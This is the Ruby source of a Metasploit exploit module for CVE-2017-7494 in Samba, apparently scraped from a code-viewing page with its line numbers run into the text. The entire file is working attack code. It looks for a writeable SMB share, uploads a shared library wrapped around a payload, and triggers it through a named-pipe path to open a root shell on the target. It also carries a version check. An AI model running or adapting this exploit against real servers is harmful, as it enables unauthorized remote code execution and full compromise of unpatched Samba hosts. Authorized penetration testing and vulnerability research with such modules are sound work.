Path: blob/master/modules/exploits/linux/samba/is_known_pipename.rb
21666 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::DCERPC9include Msf::Exploit::Remote::SMB::Client1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Samba is_known_pipename() Arbitrary Module Load',16'Description' => %q{17This module triggers an arbitrary shared library load vulnerability18in Samba versions 3.5.0 to 4.4.14, 4.5.10, and 4.6.4. This module19requires valid credentials, a writeable folder in an accessible share,20and knowledge of the server-side path of the writeable folder. In21some cases, anonymous access combined with common filesystem locations22can be used to automatically exploit this vulnerability.23},24'Author' => [25'steelo <knownsteelo[at]gmail.com>', # Vulnerability Discovery & Python Exploit26'hdm', # Metasploit Module27'bcoles', # Check logic28],29'License' => MSF_LICENSE,30'References' => [31[ 'CVE', '2017-7494' ],32[ 'URL', 'https://www.samba.org/samba/security/CVE-2017-7494.html' ],33[ 'ATT&CK', Mitre::Attack::Technique::T1083_FILE_AND_DIRECTORY_DISCOVERY ],34[ 'ATT&CK', Mitre::Attack::Technique::T1135_NETWORK_SHARE_DISCOVERY ],35[ 'ATT&CK', Mitre::Attack::Technique::T1592_002_SOFTWARE ],36[ 'ATT&CK', Mitre::Attack::Technique::T1055_001_DYNAMIC_LINK_LIBRARY_INJECTION ]37],38'Payload' => {39'Space' => 9000,40'DisableNops' => true41},42'Platform' => 'linux',43'Targets' => [4445[46'Automatic (Interact)',47{48'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ], 'Interact' => true,49'Payload' => {50'Compat' => {51'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find'52}53}54}55],56[57'Automatic (Command)',58{ 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] }59],60[ 'Linux x86', { 'Arch' => ARCH_X86 } ],61[ 'Linux x86_64', { 'Arch' => ARCH_X64 } ],62[ 'Linux ARM (LE)', { 'Arch' => ARCH_ARMLE } ],63[ 'Linux ARM64', { 'Arch' => ARCH_AARCH64 } ],64[ 'Linux MIPS', { 'Arch' => ARCH_MIPS } ],65[ 'Linux MIPSLE', { 'Arch' => ARCH_MIPSLE } ],66[ 'Linux MIPS64', { 'Arch' => ARCH_MIPS64 } ],67[ 'Linux MIPS64LE', { 'Arch' => ARCH_MIPS64LE } ],68[ 'Linux PPC', { 'Arch' => ARCH_PPC } ],69[ 'Linux PPC64', { 'Arch' => ARCH_PPC64 } ],70[ 'Linux PPC64 (LE)', { 'Arch' => ARCH_PPC64LE } ],71[ 'Linux SPARC', { 'Arch' => ARCH_SPARC } ],72[ 'Linux SPARC64', { 'Arch' => ARCH_SPARC64 } ],73[ 'Linux s390x', { 'Arch' => ARCH_ZARCH } ],74],75'DefaultOptions' => {76'DCERPC::fake_bind_multi' => false,77'SHELL' => '/bin/sh'78},79'Privileged' => true,80'DisclosureDate' => '2017-03-24',81'DefaultTarget' => 0,82'Notes' => {83'Stability' => [CRASH_SAFE],84'SideEffects' => [IOC_IN_LOGS],85'Reliability' => [REPEATABLE_SESSION]86}87)88)8990register_options(91[92OptString.new('SMB_SHARE_NAME', [false, 'The name of the SMB share containing a writeable directory']),93OptString.new('SMB_FOLDER', [false, 'The directory to use within the writeable SMB share']),94]95)96end9798def post_auth?99true100end101102# Setup our mapping of Metasploit architectures to gcc architectures103def setup104super105@payload_arch_mappings = {106ARCH_X86 => [ 'x86' ],107ARCH_X64 => [ 'x86_64' ],108ARCH_MIPS => [ 'mips' ],109ARCH_MIPSLE => [ 'mipsel' ],110ARCH_MIPSBE => [ 'mips' ],111ARCH_MIPS64 => [ 'mips64' ],112ARCH_MIPS64LE => [ 'mips64el' ],113ARCH_PPC => [ 'powerpc' ],114ARCH_PPC64 => [ 'powerpc64' ],115ARCH_PPC64LE => [ 'powerpc64le' ],116ARCH_SPARC => [ 'sparc' ],117ARCH_SPARC64 => [ 'sparc64' ],118ARCH_ARMLE => [ 'armel', 'armhf' ],119ARCH_AARCH64 => [ 'aarch64' ],120ARCH_ZARCH => [ 's390x' ]121}122123# Architectures we don't offically support but can shell anyways with interact124@payload_arch_bonus = %w[125mips64el sparc64 s390x126]127128# General platforms (OS + C library)129@payload_platforms = %w[130linux-glibc131]132end133134# List all top-level directories within a given share135def enumerate_directories(share)136vprint_status('Use Rex client (SMB1 only) to enumerate directories, since it is not compatible with RubySMB client')137connect(versions: [1])138smb_login139simple.connect("\\\\#{rhost}\\#{share}")140stuff = simple.client.find_first('\\*')141directories = ['']142stuff.each_pair do |entry, entry_attr|143next if %w[. ..].include?(entry)144next unless entry_attr['type'] == 'D'145146directories << entry147end148149return directories150rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e151vprint_error("Enum #{share}: #{e}")152return nil153ensure154simple.disconnect("\\\\#{rhost}\\#{share}")155smb_connect156end157158# Determine whether a directory in a share is writeable159def verify_writeable_directory(share, directory = '')160simple.connect("\\\\#{rhost}\\#{share}")161162random_filename = Rex::Text.rand_text_alpha(5) + '.txt'163filename = directory.empty? ? "\\#{random_filename}" : "\\#{directory}\\#{random_filename}"164165wfd = simple.open(filename, 'rwct')166wfd << Rex::Text.rand_text_alpha(8)167wfd.close168169simple.delete(filename)170return true171rescue ::Rex::Proto::SMB::Exceptions::ErrorCode, RubySMB::Error::RubySMBError => e172vprint_error("Write #{share}#{filename}: #{e}")173return false174ensure175simple.disconnect("\\\\#{rhost}\\#{share}")176end177178# Call NetShareGetInfo to retrieve the server-side path179def find_share_path180share_info = smb_netsharegetinfo(@share)181share_info[:path].gsub('\\', '/').sub(/^.*:/, '')182end183184# Crawl top-level directories and test for writeable185def find_writeable_path(share)186subdirs = enumerate_directories(share)187return unless subdirs188189if !datastore['SMB_FOLDER'].to_s.empty?190subdirs.unshift(datastore['SMB_FOLDER'])191end192193subdirs.each do |subdir|194next unless verify_writeable_directory(share, subdir)195196return subdir197end198199nil200end201202# Locate a writeable directory across identified shares203def find_writeable_share_path204@path = nil205share_info = smb_netshareenumall206if datastore['SMB_SHARE_NAME'].blank?207share_info.unshift [datastore['SMB_SHARE_NAME'], 'DISK', '']208end209210share_info.each do |share|211next if share.first.upcase == 'IPC$'212213found = find_writeable_path(share.first)214next unless found215216@share = share.first217@path = found218break219end220end221222# Locate a writeable share223def find_writeable224find_writeable_share_path225unless @share && @path226print_error('No suitable share and path were found, try setting SMB_SHARE_NAME and SMB_FOLDER')227fail_with(Failure::NoTarget, 'No matching target')228end229print_status("Using location \\\\#{rhost}\\#{@share}\\#{@path} for the path")230end231232# Store the wrapped payload into the writeable share233def upload_payload(wrapped_payload)234begin235simple.connect("\\\\#{rhost}\\#{@share}")236237random_filename = Rex::Text.rand_text_alpha(8) + '.so'238filename = @path.empty? ? "\\#{random_filename}" : "\\#{@path}\\#{random_filename}"239240wfd = simple.open(filename, 'rwct')241wfd << wrapped_payload242wfd.close243244@payload_name = random_filename245rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e246print_error("Write #{@share}#{filename}: #{e}")247return false248ensure249simple.disconnect("\\\\#{rhost}\\#{@share}")250end251252print_status("Uploaded payload to \\\\#{rhost}\\#{@share}#{filename}")253return true254end255256# Try both pipe open formats in order to load the uploaded shared library257def trigger_payload258target = [@share_path, @path, @payload_name].join('/').gsub(%r{/+}, '/')259[260'\\\\PIPE\\' + target,261target262].each do |tpath|263print_status("Loading the payload from server-side path #{target} using #{tpath}...")264265smb_connect266267# Try to execute the shared library from the share268begin269simple.client.create_pipe(tpath)270probe_module_path(tpath)271rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply, ::Timeout::Error, ::EOFError272# Common errors we can safely ignore273rescue Rex::Proto::SMB::Exceptions::ErrorCode => e274# Look for STATUS_OBJECT_PATH_INVALID indicating our interact payload loaded275if e.error_code == 0xc0000039276pwn277return true278else279print_error(" >> Failed to load #{e.error_name}")280end281rescue RubySMB::Error::UnexpectedStatusCode, RubySMB::Error::InvalidPacket => e282if e.status_code == ::WindowsError::NTStatus::STATUS_OBJECT_PATH_INVALID283pwn284return true285else286print_error(" >> Failed to load #{e.status_code.name}")287end288end289290disconnect291end292293false294end295296def pwn297print_good('Probe response indicates the interactive payload was loaded...')298smb_shell = sock299self.sock = nil300remove_socket(sock)301handler(smb_shell)302end303304# Use fancy payload wrappers to make exploitation a joyously lazy exercise305def cycle_possible_payloads306template_base = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2017-7494')307template_list = []308template_type = nil309310# Handle the generic command types first311if target.arch.include?(ARCH_CMD)312template_type = target['Interact'] ? 'findsock' : 'system'313314all_architectures = @payload_arch_mappings.values.flatten.uniq315316# Include our bonus architectures for the interact payload317if target['Interact']318@payload_arch_bonus.each do |t_arch|319all_architectures << t_arch320end321end322323# Prioritize the most common architectures first324%w[x86_64 x86 armel armhf mips mipsel].each do |t_arch|325template_list << all_architectures.delete(t_arch)326end327328# Queue up the rest for later329all_architectures.each do |t_arch|330template_list << t_arch331end332333# Handle the specific architecture targets next334else335template_type = 'shellcode'336target.arch.each do |t_name|337@payload_arch_mappings[t_name].each do |t_arch|338template_list << t_arch339end340end341end342343# Remove any duplicates that mau have snuck in344template_list.uniq!345346# Cycle through each top-level platform we know about347@payload_platforms.each do |t_plat|348# Cycle through each template and yield349template_list.each do |t_arch|350wrapper_path = ::File.join(template_base, "samba-root-#{template_type}-#{t_plat}-#{t_arch}.so.gz")351next unless ::File.exist?(wrapper_path)352353data = ''354::File.open(wrapper_path, 'rb') do |fd|355data = Rex::Text.ungzip(fd.read)356end357358pidx = data.index('PAYLOAD')359if pidx360data[pidx, payload.encoded.length] = payload.encoded361end362363vprint_status("Using payload wrapper 'samba-root-#{template_type}-#{t_arch}'...")364yield(data)365end366end367end368369# Verify that the payload settings make sense370def sanity_check371if target['Interact'] && datastore['PAYLOAD'] != 'cmd/unix/interact'372print_error('Error: The interactive target is chosen (0) but PAYLOAD is not set to cmd/unix/interact')373print_error(' Please set PAYLOAD to cmd/unix/interact and try this again')374print_error('')375fail_with(Failure::NoTarget, 'Invalid payload chosen for the interactive target')376end377378if !target['Interact'] && datastore['PAYLOAD'] == 'cmd/unix/interact'379print_error('Error: A non-interactive target is chosen but PAYLOAD is set to cmd/unix/interact')380print_error(' Please set a valid PAYLOAD and try this again')381print_error('')382fail_with(Failure::NoTarget, 'Invalid payload chosen for the non-interactive target')383end384end385386# Shorthand for connect and login387def smb_connect388connect389smb_login390end391392# Start the shell train393def exploit394# Validate settings395sanity_check396397# Setup SMB398smb_connect399400# Find a writeable share401find_writeable402403# Retrieve the server-side path of the share like a boss404print_status("Retrieving the remote path of the share '#{@share}'")405@share_path = find_share_path406print_status("Share '#{@share}' has server-side path '#{@share_path}")407408# Disconnect409disconnect410411# Create wrappers for each potential architecture412cycle_possible_payloads do |wrapped_payload|413# Connect, upload the shared library payload, disconnect414smb_connect415upload_payload(wrapped_payload)416disconnect417418# Trigger the payload419early = trigger_payload420421# Cleanup the payload422begin423smb_connect424simple.connect("\\\\#{rhost}\\#{@share}")425uploaded_path = @path.empty? ? "\\#{@payload_name}" : "\\#{@path}\\#{@payload_name}"426simple.delete(uploaded_path)427disconnect428rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply, ::Timeout::Error, ::EOFError => e429vprint_error(e.message)430end431432# Bail early if our interact payload loaded433return if early434end435end436437# A version-based vulnerability check for Samba438def check439res = smb_fingerprint440441unless res['native_lm'] =~ /Samba ([\d.]+)/442print_error("does not appear to be Samba: #{res['os']} / #{res['native_lm']}")443return CheckCode::Safe444end445446samba_version = Rex::Version.new(::Regexp.last_match(1).gsub(/\.$/, ''))447448vprint_status("Samba version identified as #{samba_version}")449450if samba_version < Rex::Version.new('3.5.0')451return CheckCode::Safe452end453454# Patched in 4.4.14455if samba_version < Rex::Version.new('4.5.0') &&456samba_version >= Rex::Version.new('4.4.14')457return CheckCode::Safe458end459460# Patched in 4.5.10461if samba_version > Rex::Version.new('4.5.0') &&462samba_version < Rex::Version.new('4.6.0') &&463samba_version >= Rex::Version.new('4.5.10')464return CheckCode::Safe465end466467# Patched in 4.6.4468if samba_version >= Rex::Version.new('4.6.4')469return CheckCode::Safe470end471472smb_connect473find_writeable_share_path474disconnect475476if @share.to_s.empty?477return CheckCode::Detected("Samba version #{samba_version} found, but no writeable share has been identified")478end479480return CheckCode::Appears("Samba version #{samba_version} found with writeable share '#{@share}'")481end482end483484485